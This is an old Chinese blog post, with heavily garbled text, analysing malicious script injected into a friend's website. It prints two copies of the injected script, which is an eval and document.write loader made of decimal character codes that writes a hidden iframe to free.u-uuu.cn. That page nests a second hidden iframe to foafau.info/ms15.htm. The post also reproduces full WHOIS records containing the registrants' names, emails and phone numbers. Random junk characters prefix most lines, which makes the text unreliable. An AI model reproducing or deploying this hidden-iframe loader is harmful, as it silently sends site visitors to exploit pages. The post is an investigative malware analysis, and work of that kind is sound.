首发在我的博客里面，
6$fnQcpJ wYO"znd http://www.areway.cn/?p=175 tK|9q s<% t)gi.Ed1"L v<3o[m q 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
Hn9F
gul& h>Uid
&:? <script>t=’60,105,102,114,97,109,101,
vo6[2.HS 32,115,114,99,61,104,116,116,112,58,47,47,
o47 f 102,114,101,101,46,117,45,117,117,117,46,99,
^Z>B/aJq 110,47,101,114,114,111,114,46,104,116,109,
xPDA475Cw3 32,119,105,100,116,104,61,49,48,48,32,104,
p=_XMh`; 101,105,103,104,116,61,48,62,60,47,105,102,
Vx6? @R 114,97,109,101,62′;
2iPmCG t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
yOUX E>- (ND5CKCR^ <script>t=’60,105,102,114,97,109,101,32,115,
S`@6c$y k 114,99,61,104,116,116,112,58,47,47,102,114,
Ur([L & 101,101,46,117,45,117,117,117,46,99,110,47,
k'ZUBTRq! 101,114,114,111,114,46,104,116,109,32,119,
3_\{[_ W 105,100,116,104,61,49,48,48,32,104,101,105,
2 @3.xG 103,104,116,61,48,62,60,47,105,102,114,97,
}x?H ~QQT 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
1KYbL8 c document.write(t);</script>
8S1P&+iKs ,]uX:h-EM <html xmlns=”
)0U 3w#,JQ http://www.w3.org/1999/xhtml !<=%;+ “>
RJRq` T|m <head>
cF_;hD|YZ <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
FS`vK`' <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
Dpdn%8+Z <title>首页 - 爱生活家庭网
<cDKGd 6i]Nr@1C 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
pdi=6<?bd 转换字符串后的大概内容是（谁点击后果自付）：
6/[Z178m <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
Rct"\{V')n T1(j l) 查询玉米u-uuu.cn的详细信息：
&8]#RQy{f Domain Name: u-uuu.cn
UEEBWz H ROID: 20070901s10001s64972306-cn
xz" Z3B Domain Status: ok
ke}Y 2sB Registrant Organization: 王雷
,yk PQz O Registrant Name: 王雷
4 FIV Administrative Email:
czlovexs@126.com 3"'# |6O9 Sponsoring Registrar: 北京万网志成科技有限公司
bvip bf[m< Name Server:ns.yovole.com
QOT) x4 !) Name Server:ns1.yovole.com
Ns.3s7& Registration Date: 2007-09-01 17:54
(}{_]X|e Expiration Date: 2008-09-01 17:54
;V(H7
ZM 最后PING了一下地址 都没有什么….
){+ [$@9 a
IpPL8a 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
'T )Or,d <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
m%oGzx+ <script language=”javascript” src=”
msc 1^2 http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script OB?S kR >
kRN|TDx( 这个玉米应该有可能是木马作者的：
: F7k{~ foafau.info的详细信息：
b8N[. "~: Access to INFO WHOIS information is provided to assist persons in
).NcLJ w_ determining the contents of a domain name registration record in the
W&+y(Z-t Afilias registry database. The data in this record is provided by
%XJQ0CE<( Afilias Limited for informational purposes only, and Afilias does not
w.J%qWJq guarantee its accuracy. This service is intended only for query-based
G Sz @rDGY access. You agree that you will use this data only for lawful purposes
k-WHHoU>o and that, under no circumstances will you use this data to: (a) allow,
U#;51 _ enable, or otherwise support the transmission by e-mail, telephone, or
HQ^9 [HN. facsimile of mass unsolicited, commercial advertising or solicitations
v)@,:u ) to entities other than the data recipient’s own existing customers; or
<I7(eh6d (b) enable high volume, automated, electronic processes that send
{ H=oxa queries or data to the systems of Registry Operator, a Registrar, or
0 1LZE,. Afilias except as reasonably necessary to register domain names or
%bIsrQ~B modify existing registrations. All rights reserved. Afilias reserves
1mJbQ#5 the right to modify these terms at any time. By submitting this query,
tS\=<T you agree to abide by this policy.
ZjU=~)O}H Domain ID:D22418703-LRMS
GA|/7[ I} Domain Name:FOAFAU.INFO
wv , GBZ-f Created On:20-Nov-2007 16:05:42 UTC
/x Last Updated On:20-Nov-2007 16:05:44 UTC
87^ :<\pp Expiration Date:20-Nov-2008 16:05:42 UTC
\npz .g^c_ Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
W\it+/ Status:CLIENT DELETE PROHIBITED
!}> eo2$r^ Status:CLIENT RENEW PROHIBITED
F2IC$: e
M Status:CLIENT TRANSFER PROHIBITED
'8 )Wd"[ Status:CLIENT UPDATE PROHIBITED
9?uqQ Status:TRANSFER PROHIBITED
#_.g2 Y Registrant ID:GODA-040110615
koOy Z> Registrant Name:liu hong
(jM<T;4 Registrant Organization:
2c}B Registrant Street1:beijing
V~OUE]]Q Registrant Street2:
=
:Po%Z%{ Registrant Street3:
XnBm`vk?V! Registrant City:beijing
bnijM/73 Registrant State/Province:
sS,
z zx< Registrant Postal Code:100000
o" |O
] Registrant Country:CN
`[WyH O|8 Registrant Phone:+86.860108888777
j#N(1}r=1 Registrant Phone Ext.:
<fNGhmL Registrant FAX:
r_Lu~y| Registrant FAX Ext.:
luW
<V> Registrant Email:bbbshiji@163.com
7dSh3f! Admin ID:GODA-240110615
(E!%v`_0 Admin Name:liu hong
W`#gpi)7N Admin Organization:
xME(B@j Admin Street1:beijing
mR" uhm}q Admin Street2:
It%T7
X# Admin Street3:
o;3j:# 3 | Admin City:beijing
fO*)LPen.z Admin State/Province:
"
Wp
Admin Postal Code:100000
hIR@^\? Admin Country:CN
qh%i5Mu Admin Phone:+86.860108888777
u\`/Nhn Admin Phone Ext.:
~6p5H}'H1 Admin FAX:
RNGO~:k?r Admin FAX Ext.:
z4 CJn[m9 Admin Email:bbbshiji@163.com
BS N6|W Billing ID:GODA-340110615
aT&t_^[] Billing Name:liu hong
GF&_~48GD Billing Organization:
XmP;L(wa Billing Street1:beijing
S# ,+Z7 Billing Street2:
F
y b[{ " Billing Street3:
xXO R IlD Billing City:beijing
i wUv`>l& Billing State/Province:
PmHd9 ^C Billing Postal Code:100000
{`a(Tl8 V Billing Country:CN
8pqs?L@W Billing Phone:+86.860108888777
G c wt7~ Billing Phone Ext.:
FtE90=$ Billing FAX:
ri: , q/- Billing FAX Ext.:
19' 5Re& Billing Email:bbbshiji@163.com
_0K.Fk*(! Tech ID:GODA-140110615
U<Vy>gIC Tech Name:liu hong
X1Qr _o-BR Tech Organization:
ThtMRB)9 Tech Street1:beijing
mIvnz{_d Tech Street2:
mxgqS=` Tech Street3:
7m\vRMK Tech City:beijing
-!l^ ]MU Tech State/Province:
JRq3>P Tech Postal Code:100000
>z QNHSi Tech Country:CN
C ck#Y Tech Phone:+86.860108888777
Y.7} Tech Phone Ext.:
MZ WmlJ Tech FAX:
Y,'%7u Tech FAX Ext.:
E$ { J Tech Email:bbbshiji@163.com
8yn4}`Nc@ Name Server:NS27.DOMAINCONTROL.COM
/N>} 4Ay Name Server:NS28.DOMAINCONTROL.COM
{#N%Bq} Name Server:
}B`Ku5 M Name Server:
*,17x`1e Name Server:
P7Xg{L&@. Name Server:
"v5ElYG Name Server:
e^zHw^js Name Server:
(Ux [[ Name Server:
"e@n:N! Name Server:
(Izf
L1 Name Server:
%yfE7UPS] Name Server:
Y3k[~A7X Name Server:
f ~q4{ L"^OdpOs 接着下载每个文件里面的代码：
5Dd:r{{ Q 一步一步看..
s"WBw'_<< 
$C u R}g 
6x/s|RWL1 
} -74 f 
9mDn KW 
"Kq>#I'%W 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
